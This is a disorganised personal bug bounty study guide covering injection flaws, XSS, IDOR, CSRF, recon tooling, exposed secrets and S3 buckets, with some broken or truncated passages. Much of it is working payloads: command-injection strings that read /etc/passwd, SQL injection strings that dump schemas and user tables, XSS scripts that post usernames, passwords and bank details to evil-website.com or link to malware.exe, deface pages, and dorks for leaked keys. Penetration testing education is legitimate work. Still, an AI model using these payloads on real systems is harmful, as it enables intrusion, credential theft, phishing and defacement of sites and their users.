Bug Hunting
Bug Hunting
A bug bounty program is a deal offered by many websites, organizations, and software developers by
which individuals can receive recognition and compensation for reporting
---> Public Bug Bounty Programs : These programs are open to a wide range of security researchers
and are publicly listed. They attract a larger number of participants, which can lead to more diverse
and comprehensive testing.
---> private Bug Bounty Programs: These programs are invitation-only and are not publicly listed.
They are designed to work with a smaller, curated group of trusted researchers.{ Based on the rank }
Platforms:
1. Hackerone
2. bugcrowd
3. synack
4. openbugbounty
5. https://www.yeswehack.com/
6. https://hackenproof.com/
7.intigriti
8. https://safehats.com/
9. https://www.cyberarmy.id/
10. https://yogosha.com/
practicing platforms:
2. try hack me
Scope:
1.Inscope
2.out of scope
Vulnerability serverity
P1 (critical)
P2 (high)
P3 (medium)
P4 (low)
P5 (informational)
CVSS v3 Score:
Score caluculator :
https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator
Bug bounty report
Structure:
Summary :
Purpose: Provide a high-level overview of the vulnerability. Explain how the vulnerability was
discovered and what type of attack it allows.
Example: "The login page is vulnerable to SQL Injection due to improper sanitization of user input in
the username field. An attacker could extract sensitive data from the database."
1. Title
Purpose: The title should be clear and concise. It gives the reader an immediate
understanding of the type of vulnerability and the impacted area.
2. Domain (optional)
Purpose: Specify the domain where the vulnerability was found. Ensure that it is
within the defined scope of the bug bounty program.
Example: example.com (inscope)
3. Endpoint (optional)
Purpose: Define the path leading to the page or file that contains the vulnerability.
Example: /login
4. Type
5. Vulnerable Parameter
Purpose: Mention the parameter affected by the vulnerability (e.g., URL query
parameter, form field).
Example: username
6. Summary
Example: "The login page is vulnerable to SQL Injection due to improper sanitization
of user input in the username field. An attacker could extract sensitive data from the database."
Purpose: Detail the steps to reproduce the vulnerability, including the exact requests
and payloads used. Include screenshots or images if needed.
Example:
Step 1: Open the login page: example.com/login.
Step 3: Observe that the attacker bypasses the login without knowing the correct
password.
Request:
makefile
Copy code
POST /login
username=' OR 1=1--
password=random
8. Impact
Purpose: Explain the potential business or security impact of the vulnerability. This
helps to determine the severity.
Example: "An attacker could gain unauthorized access to user accounts, leading to a
breach of sensitive data."
CVSS Score: Calculate the Common Vulnerability Scoring System (CVSS) score based
on the severity, using CVSS v3.0.
9. Remediation (optional)
Purpose: Offer a recommended fix for the vulnerability. This should be specific and
actionable.
Review Scope: Always review the bug bounty program's policy to ensure the
vulnerability you're reporting is in scope.
Impact Statement: Reports that don't demonstrate clear impact may be rejected
Html injection
HTML injection is a type of attack where malicious HTML code is inserted into a website
This happens when the website fails to properly sanitize user inputs and embeds those inputs
directly into the HTML code of the page.
* temporary stored
* persistent stored
Also you can use this ways for find this vulnerability:
1. Search Bars
2. Contact Forms
3. Comment Sections
4. User Registration Forms
5. Login Forms
6. Feedback Forms
7. Product Reviews
8. Chat Boxes
9. Newsletter Signup
10. Profile Information, more
Account creation time name field,comment section ,reseting the password email receive time ,chat
history receive time , product order time at name field you will receive the mail.
Payload’s:
https://github.com/InfoSecWarrior/Offensive-Payloads/blob/main/Html-Injection-Payloads.txt
<h1>SAI</h1>
<mark>SAI</mark>
qq<h1>SAI</h1>qq
<ins>SAI</ins>
<s>SAI</s>
<time>09:10</time>
<body style="background-color:red">
<embed type="text/html" src="image url link" width="500" height="200"> { image adding in
webpage }
Deface payload:
1.
script>
document.body.innerHTML = `
</p>
</div>
`;
</script>
2.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Hacked!</title>
<style>
body {
background-color: black;
text-align: center;
h1 {
color: red;
font-size: 50px;
h2 {
color: yellow;
font-size: 35px;
h3 {
color: lime;
font-size: 30px;
p{
color: white;
font-size: 20px;
img {
width: 400px;
height: auto;
margin-top: 20px;
border-radius: 10px;
.glitch {
@keyframes glitch {
0% { transform: translateX(0px); }
</style>
</head>
<body>
</body>
</html>
References:
https://rhashibur75.medium.com/html-injection-bug-bounty-a41f87217118
https://hackerone.com/reports/2210038
https://hackerone.com/reports/358001
https://medium.com/@pratiky054/html-injection-unique-exploitation-a5c3d4e6fed8
https://medium.com/@chaitanyarajhans024/simple-html-injection-to-250-895b760409ed
https://medium.com/@hackwithx24/html-injection-reflected-get-bwapp-series-1-4f595297f5c9
https://medium.com/@gandhim373/new-way-to-find-html-injection-get-easy-bounty-65fdd319d688
https://vedanttekale20.medium.com/how-html-injection-in-email-got-me-my-first-bounty-
761592eab6bb
https://ms-official5878.medium.com/html-injection-a3f791d31b3c
https://hardik-solanki.medium.com/html-injection-stored-which-ultimately-resulted-into-a-cve-
2020-26049-61c1a47dc2e8
https://medium.com/@novan.rmd/how-to-escalate-from-html-injection-to-data-steal-9c7e8ccf72b
https://devstringx-technologies.medium.com/html-injection-f1c9fc713d51
https://medium.com/@Parag_Bagul/my-journey-finding-html-injection-vulnerability-in-a-popular-
british-accountancy-platform-fc051b942d88
https://medium.com/fmisec/what-is-html-injection-1431b26a9d31
https://medium.com/@MoSalah11/how-i-earned-from-html-injection-7b4da98ab6e3
https://medium.com/cyberverse/got-easiest-bounty-with-html-injection-via-email-confirmation-
b1b10575a105
https://medium.com/cyberverse/got-easiest-bounty-with-html-injection-via-email-confirmation-
b1b10575a105
https://www.linkedin.com/pulse/my-first-250-html-injection-bug-yusuf-seboru
https://www.linkedin.com/pulse/html-injection-email-template-aishwarya-ghag
https://hackerone.com/reports/1443567
https://hackerone.com/reports/1581499
There is no doubt that the main reason for this attack is the developer’s inattention and lack of
knowledge. This type of injection attack occurs when the input and output are not properly
validated. Therefore the main rule to prevent HTML attack is appropriate data validation.All inputs
should be checked to see if it contains any script code or any HTML code. Usually it is being checked,
if the code contains any special script or HTML brackets – <script></script>, <html></html>.
The vulnerability arises when an application uses shell commands to process user input and fails to
properly validate or sanitize it.
Impact :
The attacker directly sees the output of their injected commands in web application , making it easier
to exploit.
In this type, the attacker can inject commands but doesn't directly see the output. Instead, they can
infer results based on behavior (such as response time or content of responses).
Payload’s: If the target is linux they have different payloads,If thr target is windows they have
different payloads’s
https://github.com/payloadbox/command-injection-payload-list
; ls -la
|hostname
||whoami
&hostname
;netstat -antp
;cat /etc/passwd
|cat /etc/group
Id
Cmd
Cli
User
Upload
File
ip
exec
command
execute
ping
query
jump
code
reg
do
func
arg
option
load
process
step
read
function
req
feature
exe
module
payload
run
print
Use Burp Suite to intercept and modify a request that checks the stock level.
Observe that the response contains the name of the current user.
Use Burp Suite to intercept and modify the request that submits feedback.
email=x||ping+-c+10+127.0.0.1||
Use Burp Suite to intercept and modify the request that submits feedback.
email=||whoami>/var/www/images/output.txt||
Now use Burp Suite to intercept and modify the request that loads an image of a product.
Modify the filename parameter, changing the value to the name of the file you specified for the
output of the injected command:
filename=output.txt
Observe that the response contains the output from the injected command
Use Burp Suite to intercept and modify the request that submits feedback.,Modify the email
parameter, changing it to:
you will get the burp suite code , burp >> burp collaborator client >> copy clip board
after editng the resonse forward them and go to , burp >> burp collaborator client and clicl on the
poll now
Login or authentication forms: Systems that use shell commands to verify credentials could be
susceptible if input is not properly sanitized.
File upload or file management systems: Websites that allow file uploads, especially if they provide
features like image resizing or file parsing using shell commands.
Search functionality: If the search feature involves calling system utilities to search for files or content
on the server.
Web hosting or control panels (e.g., cPanel, Plesk): These often provide administrative tools and
functionalities that interact with the underlying server, potentially exposing command injection
vectors.
Website backup systems: Tools that allow users to create backups of their websites could expose
vulnerabilities if they interact with shell commands to compress or archive files.
Data parsing applications: Systems that parse logs, metadata, or XML files may include shell
execution vulnerabilities.
E-commerce sites with advanced user functionality: Systems that allow users to perform tasks like
generating reports, uploading CSVs, or running searches might use shell commands behind the
scenes.
Admin dashboards: Any admin area that executes server-side scripts or commands based on user
input might be prone to this.
Web applications with vulnerable APIs: APIs that accept user input and pass it to the system without
proper validation could lead to command injection.
Content management systems (CMS): Custom-built CMS or vulnerable plugins in popular CMS
platforms (e.g., WordPress, Joomla) might have flaws that lead to command injection.
References:
https://medium.com/@bdemir/a-pentesters-guide-to-command-injection-df2657c8c1ad
https://medium.com/@bdemir/a-pentesters-guide-to-command-injection-df2657c8c1ad
https://medium.com/@ashbaarshad777/exploring-os-command-injection-vulnerabilities-with-
portswigger-labs-46453036e6b4
Sql injection
when attackers put harmful sql code into website that can lead to data base hacking.
In this technique, the attacker does not receive direct feedback from the database. Instead, they
manipulate queries to evaluate to true or false, deducing information based on the application's
response.
Definition: This method relies on the time it takes for the application to respond. If the
query takes longer to execute, it indicates a true condition, while a faster response
indicates false.
How It Works: The attacker injects SQL that includes a time delay (e.g., using SLEEP in
MySQL). By measuring the response time, they can infer whether the injected condition
is true or false.
4.Union-based SQL Injection:
Union-based SQL injection involves the use of the UNION operator that combines the results of
multiple SELECT statements to fetch data from multiple tables as a single result set.
payloads’s: https://github.com/payloadbox/sql-injection-payload-list
id=
pid=
uid=
cid=
rid=
mid=
fid=
tid=
sid=
item=
order=
invoice=
productid=
categoryid=
articleid=
pageid=
userid=
postid=
threadid=
commentid=
newsid=
eventid=
voteid=
pollid=
memberid=
entryid=
listingid=
sessionid=
recordid=
fileid=
docid=
reportid=
customerid=
page=
cat=
type=
sort=
filter=
status=
lang=
year=
date=
search=
keyword=
query=
lookup=
find=
token=
apikey=
user=
email=
username=
password=
session=
auth=
jwt=
key=
access_token=
login=
logout=
redirect=
callback=
cmd=
debug=
exec=
load=
process=
step=
action=
module=
view=
template=
config=
admin=
path=
dir=
folder=
file=
getbased -geturl
header based
cookie based
Id=1'
Id=1""
Id=1 ')
Id=1")
Id=1\
Id=1/
Id=1' --+
Id=1"" --+
Id=1") --+
Id=1\ --+
Id=1/ --+
Find no of column’s
Dump the data from specific db and name and column name
NOTE:using cyber fox browser db and tables and column’s extract feature through the code was
generated and pasted at vulnerable column.
checking the dbname : you will get the error if the db name is correct .
I'
I""
')
")
' --
"" --
“) --
\ --
/ --
'#
"" #
‘) #
“) #
\ #
/#
Find no of column’s
' order by 2 #
[ OR ]
' order by 2 --
[OR]
[OR]
[ OR ]
' union all select (SELECT GROUP_CONCAT(schema_name SEPARATOR 0x3c62723e) FROM
INFORMATION_SCHEMA.SCHEMATA),2 -- ,' union all select (SELECT GROUP_CONCAT(schema_name
SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.SCHEMATA),2 –
[OR]
[OR]
Dump the data from specific db and name and column namecolumn names from specific table
[OR]
'union all select (SELECT GROUP_CONCAT(id,username SEPARATOR 0x3c62723e) FROM
security.users),2 -- , 'union all select (SELECT GROUP_CONCAT(id,username SEPARATOR 0x3c62723e)
FROM security.users),2 --
0 - false
1 -true
' OR 1=1 #
" OR 1=1 #
') OR 1=1 #
") OR 1=1 #
checking the dbname : you will get the error if the db name is correct .
[OR]
' OR database()="dbname" #
' OR substring(database(),1,1)="s" #
[ OR ]
you will get the error if the the db 2nd character is write.
' OR substring(database(),2,1)="e" #
[OR]
' OR sleep(5) #
Sql map :
Find username
-1' /*!50000union*/ /*!50000all*/ /*!50000select*/ 1,2,3,user(),5,6 --+
https://sourceforge.net/projects/cyberfox/
https://github.com/emyounoone/Hackbar
References:
https://hackerone.com/reports/1046084
127.0.0.1/login.php
In a web application, whenever a user generates, sends, or receives a request from a server, there
are some HTTP parameters such as “id”, “uid”, “pid” etc that have some unique values which the user
has been assigned. An attacker can see such parameter values in cookies, headers, or wifi Packet
captures. Via this, an attacker might be able to tamper with these values and this tampering may
lead to IDOR.
Directory Traversal: Directory Traversal is also known as a Path Traversal attack where an attacker
can access or manipulates the files and folders which should not be allowed to access publicly. If
there is a Directory Traversal vulnerability exists in a web application then the attacker can easily able
to see some sensitive files or folders such as images, themes, scripts, and so on.
Body Manipulation: Body Manipulation refers to changing or modifying the values in the body such
as modifying the values of input fields, radio buttons, checkboxes, etc.
URL Tampering: URL Tampering refers to changing the parameter value of the URL. For example, let’s
suppose there’s an example URL that may be something like
‘http://example.com/category/photos_id=1’. In this parameter, we are authorized to see the data of
ID ‘1’. But if we could change the value from 1 to 2 such as
‘http://example.com/category/photos_id=2’, and if we could see the data of this particular URL, in
such case it can be considered as URL Tampering.
Cookie ID Manipulation: Generally, cookies are used to store and exchange data between the client
and server. It helps in identifying specific users and provides a good browsing experience to the user.
In such cases, if there’s an IDOR vulnerability then there might be a possibility to manipulate a cookie
ID. For example, there’s a cookie id in a web application that may be something like this _gid=123456
which is for user a, and another cookie id is _gid=789012 which is for user b. So, if user A can change
the value of _gid and replace the ID of user b and can see any information which belongs to user b
then there’s an IDOR.
5.Blind IDOR: The type of IDOR in which the results of the exploitation cannot be seen in the server
response. For example modifying other user private data without accessing it.
6.Generic IDOR: The type of IDOR in which the results of the exploitation can be seen in the server
response. For example accessing confidential data or files belonging to another user.
Parameter:
Id,gid,pip,uid,uuid,user,username,file,file name,dest
IDOR vulnerabilities can be used to exploit filenames to download unauthorized files by changing
the filename:
>> http://www.ifiles.com/download_file.php?a.txt
~ IDOR vulnerabilities can be used to change passwords of different users by hijacking their ids and
accessing their accounts:
>> http://www.ifiles.com/change_password.php?id=1024
References:
https://medium.com/armourinfosec/idor-a-tale-of-account-takeover-77d9066a8055
https://medium.com/@aysebilgegunduz/everything-you-need-to-know-about-idor-insecure-direct-
object-references-375f83e03a87
https://medium.com/@Steiner254/insecure-direct-object-references-idor-16bf0b981b90
https://freedium.cfd/https://medium.com/@BrownBearSec/what-i-learnt-from-reading-220-idor-
bug-reports-6efbea44db7
https://corneacristian.medium.com/top-25-idor-bug-bounty-reports-ba8cd59ad331
https://sourceforge.net/projects/owaspbwa/
Unzip
inurl: / security
inurl:security.txt
inurl:security "reward"
https://whois.arin.net/ui/
https://bgp.he.net/
https://mxtoolbox.com/SuperTool.aspx#
https://viewdns.info/asnlookup/
https://viewdns.info/reversewhois/
https://www.whoxy.com/
https://search.censys.io/
https://ipinfo.io/tools/cidr-to-ip-range-converter
shodan :
Shodan is a search engine designed to find devices connected to the internet, ranging from webcams
and routers to complex industrial control systems.
https://www.shodan.io/
Webcam
port:21
asn:as32934
vuln:CVE-2023-36603
os:windows
os:linux
#subdomain enemuration
https://crt.sh/
https://chaos.projectdiscovery.io/
https://subdomainfinder.c99.nl/
Site:dishtv.in
#sublist3r
sublist3r -d domain
#amass
https://github.com/owasp-amass/amass/blob/master/examples/config.yaml
mv config.yaml .config/amass
https://github.com/owasp-amass/amass/blob/master/examples/datasources.yaml
mv datasources.yaml .config/amass
cd .config/amass
#subfinder
cd .config > cd subfinder > nano provider-config.yaml = adding api key for service provider.
#httpx-toolkit
It sends http request , Display which are subdomain’s responding and not responding.
Sudo su
https://github.com/theMiddleBlue/DNSenum/tree/master/wordlist
https://github.com/n0kovo/n0kovo_subdomains
https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS
Subdomain takeover happens when a subdomain points to an external service (like GitHub Pages,
AWS S3, Heroku, etc.), but the service is not properly configured. The DNS record remains in place,
but the resource it points to is no longer active or owned, leaving the subdomain vulnerable to
exploitation.
Service Disconnected: Later, you decide to close your online store and delete it from Azure. However,
the connection from shop.example.com to Azure is still active, even though the store is gone.
Attacker Steps In: A cybercriminal notices that shop.example.com is still connected to Azure but isn't
being used. They create a new store on Azure and link it to shop.example.com.
Takeover Complete: Now, whenever someone visits shop.example.com, they are taken to the
attacker's store instead of yours. The attacker has taken over your subdomain
https://httpstatus.io/
#automatic tools :
go install -v github.com/LukaSikic/subzy@latest
https://github.com/EdOverflow/can-i-take-over-xyz
References :
https://freedium.cfd/https://medium.com/@nnamacha/understanding-azure-subdomain-takeover-
and-traffic-redirection-a-comprehensive-guide-7bc11c5a92f1
https://www.verylazytech.com/network-pentesting/mastering-subdomain-takeover
https://senayakut.com/preventing-aws-subdomain-takeover-cases-and-strategies-for-enhanced-
security-ce455a7d2af3
Sensitive data exposure in Java happens when confidential information (like passwords, API keys, or
personal data) is improperly handled, stored, or exposed in code. This can lead to security risks such
as data breaches.
Session IDs
inspect a website's code, open the page in Brave browser, click on the trackpad with two fingers to
access the context menu, select 'View page source', then use the browser's search function to find
links ending with '.js', and investigate those files for potential sensitive information.
https://simplescraper.io/extracturls?utm_source=chatgpt.com
https://www.xml-sitemaps.com/
https ://yourgpt.ai/tools/url-extractor?utm_source=chatgpt.com
#getjs
go install github.com/003random/getJS/v2@latest
#subjs :
wget https://github.com/lc/subjs/releases/download/v1.0.1/subjs_1.0.1_linux_amd64.tar.g
or
subjs -i urls.txt
#katana
su
go install github.com/projectdiscovery/katana/cmd/katana@latest
#Secret finder
cd secretfinder
chmod +x SecretFinder.py
#mantra
go install github.com/Brosck/mantra@latest
Sensitive data exposure in GitHub through GitHub dorks is a common security risk. Attackers use
GitHub dorking to search for exposed credentials, API keys, database URLs, and other sensitive
information accidentally pushed to public repositories.
https://gist.github.com/jhaddix/77253cea49bf4bd4bfd5d384a37ce7a4
https://github.com/random-robbie/keywords/blob/master/keywords.txt
https://github.com/0xPugazh/Awesome-Dorks/blob/master/github-dorks.txt
https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt
https://github.com/random-robbie/keywords/blob/master/keywords.txt
https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt
cd GitDorker
source sai/bin/activate
deactivate
settings > developer settings > personal access tokens > tokens(classic) > generate new token >
generate new token classic > provide any name and select all options at scope >generate token
cd tf
AWS S3 (Simple Storage Service) is commonly misconfigured, leading to severe security risks such as
data exposure, takeover, and unauthorized modifications.
Buckets with “Public Read” or “Public Write” permissions allow anyone to view or modify data.
https://buckets.grayhatwarfare.com/
https://buckets.grayhatwarfare.com/top_keywords { top keywords }
AWS Access key ID and AWS Secret Key = git hub dork’s
site:http://s3.amazonaws.com intitle:index.of.bucket
site:http://amazonaws.com inurl:".s3.amazonaws.com/"
site:.s3.amazonaws.com "Company"
intitle:index.of.bucket
site:*.amazonaws.com inurl:index.html
https://bkname.s3.amazonaws.com/
https://bkname.s3.amazonaws.com/filename
wget https://bkname.s3.amazonaws.com/filename
aws configure
aws s3 ls s3://bucketname
cd lazys3
go install -v github.com/sa7mon/s3scanner@latest
https://github.com/koaj/aws-s3-bucket-wordlist
s3scanner -bucket-file list.txt -enumerate check valid bk by word and permmison and objects
Cross-Site Scripting (XSS) is a web security vulnerability that allows attackers to inject malicious
scripts into web pages viewed by other users. This can lead to data theft, session hijacking,
defacement, and more.
The malicious script is permanently stored on the target server (e.g., in a database, forum post, or
comment section).
Whenever a user loads the affected page, the script executes in their browser.
Example: A hacker injects a <script> tag into a comment box, which steals cookies from all visitors.
Popular vulnerability
It shows popup
The malicious script is included in a URL and executed when the victim clicks the link.
It is not stored on the server but reflected back to the user through HTTP responses.
http://victim.com/search?q=<script>alert('XSS')</script>
Popular vulnerability
It shows popup
3. DOM-Based XSS
The attack occurs when JavaScript modifies the DOM (Document Object Model) dynamically without
proper validation.
Example:
Similar to Stored XSS, but the attacker does not immediately see the execution.
The payload is stored and executed later in an admin panel or internal dashboard where an admin
unknowingly triggers it.
Medium popularity vulnerability.
No popup at realtime
You insert your payload all input field ,like in comment section,signup forms,contact forms,feedback
forms etc..
Burp add to scope ,spinder the host ,select the parameter ,send to repeater input blind zss payloads
at host,origin,referer,user agent header,parameter .
Bxsshunter.io { you will get xss fire if xss exist } { use the website payload }
Burp collaborator
Go to buru suite app, burp > burp collaborator client > copy to clipboard
“><script src=burpcode.burpcollaborator.net></script>
<img/src=https://burpcode.burpcollaborator.net>
Insert payload at all inpuput field’s
Poll now
You will get http request and in that packet ip also available.
Payload:
<script>alert(1)</script>
<script>alert('XSS')</script>
<script>alert(document.cookie)</script>
<script>
var html = '<form action="http://evil-website.com/steal-credentials.php" method="post">' +
'Username: <input type="text" name="username"><br>' +
'Password: <input type="password" name="password"><br>' +
'<input type="submit" value="Login">' +
'</form>';
document.write(html);
</script>
<script>alert("You have won a prize! Please enter your credit card information below.");</script>
<script>
var html = '<div style="background-color: yellow; padding: 10px;">' +
'Update Available' +
'</div>';
document.write(html);
</script>
<script>
var html = '<div style="background-color: lightblue; padding: 10px;">' +
'<form action="http://evil-website.com/steal-info.php" method="post">' +
'<input type="text" name="message" placeholder="Enter a message"><br>' +
'<input type="submit" value="Send">' +
'</form>' +
'</div>';
document.write(html);
</script>
<script>
var html = '<div style="background-color: lightblue; padding: 10px;">' +
'Social Engineering Attack: Click the link below to claim your prize:' +
'<a href="http://evil-website.com/malware.exe">Claim Prize</a>' +
'</div>';
document.write(html);
</script>
<script>
var html = '<div style="background-color: lightgreen; padding: 10px;">' +
'Phishing Attack: Please enter your bank account information below:' +
'<form action="http://evil-website.com/steal-info.php" method="post">' +
'Account Number: <input type="text" name="account"><br>' +
'Routing Number: <input type="text" name="routing"><br>' +
'Password: <input type="password" name="password"><br>' +
'<input type="submit" value="Submit">' +
'</form>' +
'</div>';
document.write(html);
</script>
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
https://github.com/payloadbox/xss-payload-list
XSS find ?
review and comment section ,account creation name field and username field and password field ,
email field ,phone no field ,adding address and editing address,email subscribe,order tracking
through id {stored }
We can try to xss to account takeover or even ssrf or even other high severity vulnerability.
Try login with fake user name and fake password and intercept through burp suite > do intercept >
response to this request > 302 you must login > add > set-cookie:cookie > forward
Cloudflare bypass payload’s:
Xss finding through .svg file at profile picture update funcanality.
<script type="text/javascript">
alert("sai jain");
</script>
</svg>
Here are some common approaches for shielding your site against Cross-Site Scripting (XSS) attacks:
Input Validation: Validate all user inputs before using them in your application. This can help to
prevent attackers from injecting malicious code into your site.
Escaping: Convert any special characters in user inputs into their HTML entity equivalents before
using them in your application. This will prevent the special characters from being executed as code
in the user's browser.
Use of Prepared Statements: Use prepared statements or parameterized queries when interacting
with a database to prevent attackers from injecting malicious code into your SQL statements.
Content Security Policy (CSP): Implement a Content Security Policy (CSP) that specifies which
content sources can be executed within your web application. This can help to prevent XSS attacks by
blocking malicious scripts from being executed.
Web Application Firewall (WAF): Use a Web Application Firewall (WAF) to monitor and filter HTTP
traffic to your web application and block requests containing malicious code.
Regular Security Updates and Patches: Regularly update your software and apply security patches to
address any known vulnerabilities in your web application.
Security Testing: Regularly test your web application for security vulnerabilities, including XSS
attacks, using automated tools or manual penetration testing.
Content Security Policy (CSP) is a security feature that helps prevent web attacks like Cross-Site
Scripting (XSS) and data injection by controlling which resources (scripts, styles, images, etc.) a web
page can load. It acts as a browser-enforced whitelist for trusted content sources.
1. Inline JavaScript & CSS – Blocks <script> tags and style attributes unless explicitly allowed. Prevents
inline event handlers like onclick="alert(1)".
2. External Scripts – Restricts script loading from untrusted domains (e.g., preventing a malicious
script from attacker.com).
3. Dynamic Code Execution – Blocks eval(), setTimeout("alert(1)"), and new Function() by default.
4. Mixed Content – Blocks HTTP content on an HTTPS site (e.g., prevents loading an insecure image
or script).
5. Framing & Embedding – Prevents the page from being loaded inside iframes (Clickjacking
protection).
This allows scripts only from the same site (self) and trusted.com.
1. The browser reads the CSP rules from the HTTP header or <meta> tag.
2. It blocks any scripts, styles, or other resources not allowed by the CSP.
3. If a blocked script tries to execute, the browser shows a CSP violation error in the console
SOP is a security rule in web browsers that blocks a website from accessing data from another
website unless both have the same origin (same domain, protocol, and port).
Imagine you open Site A (https://example.com) in your browser. If Site A tries to request data from
Site B (https://another-site.com), the browser blocks it for security reasons.
CORS is a way for websites to allow controlled access to their resources from different origins. A
server can use CORS headers to say:
But if Site B’s server adds a special CORS header in http response.
Access-Control-Allow-Origin: https://frontend.com
Then, the browser allows the request!
HTTP Header
An HTTP header is a key-value pair that is sent with HTTP requests and responses between a client
(browser, API client) and a server. These headers provide important metadata about the request or
response, such as content type, authentication, caching policies, and more.
HTTP headers contain key-value pairs that provide metadata about an HTTP request or response.
These headers carry different types of data, including:
1. Client Information
Example:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
2. Server Information
Example:
3. Authentication Data
Example:
4. Content Information
Example:
Content-Type: application/json
5. Caching Directives
Example:
Cache-Control: max-age=3600
Explanation: Tells the browser to cache the response for 3600 seconds.
6. Security Policies
Example:
Example:
1. Request Headers
Sent by the client (browser, API client) to the server to provide information about the request.
Examples:
User-Agent: Provides details about the client's browser and operating system.
Accept: Defines the media types the client can handle (e.g., text/html, application/json).
2. Response Headers
Examples:
CSRF
CSRF (Cross-Site Request Forgery) is a web security vulnerability that tricks a user into executing
unwanted actions on a web application where they are authenticated. Attackers exploit CSRF by
sending malicious requests on behalf of the user without their consent.
Changing Username, Password, or Email ID, Transferring Funds, Modifying Payment Methods etc..
Method:
In attacker computer create a file using notepad name as csrf.html and paste the copied html code
from burp suite.
Share the file lo victim, when victim opens the file in browser boom.
Right click > change request method.
Price Tampering
Price Tampering Vulnerability is a security flaw in web applications where an attacker manipulates
the price of a product or product quantity service before making a purchase. This is typically done by
modifying client-side parameters (such as form fields, cookies, or API requests) using tools like Burp
Suite to gain unauthorized discounts or free products due to improper server-side validation.
Open Burp Suite and turn Intercept ON under the Proxy tab.
Host: example.com
Content-Type: application/json
"product_id": "123",
"price": "100",
"quantity": "1"
"product_id": "123",
"price": "1",
"quantity": "1"
}
3. Forward the Modified Request:
If the server does not validate the price against its database, the purchase will be processed at the
altered price.
If the server accepts the modified price and proceeds to payment or confirms the order at ₹1 instead
of ₹100, the vulnerability is successfully exploited.
1. Server-Side Validation: Ensure the price is fetched from the server database, not from the client
request.
2. Use Fixed Pricing on the Backend: The server should ignore price values sent from the client.
3. Implement Digital Signatures: Encrypt price values using HMAC or digital signatures to prevent
tampering.
5. Use Web Application Firewalls (WAF): Detect and block parameter manipulation.
It is a security vulnerability where attackers take control of abandoned or broken links on a website
to redirect users to malicious content, phishing pages, or exploit search engine optimization (SEO).
This happens when a website links to an external resource (like an image, JavaScript file, or social
media profile) that is no longer available because the domain expired, the account was deleted, or
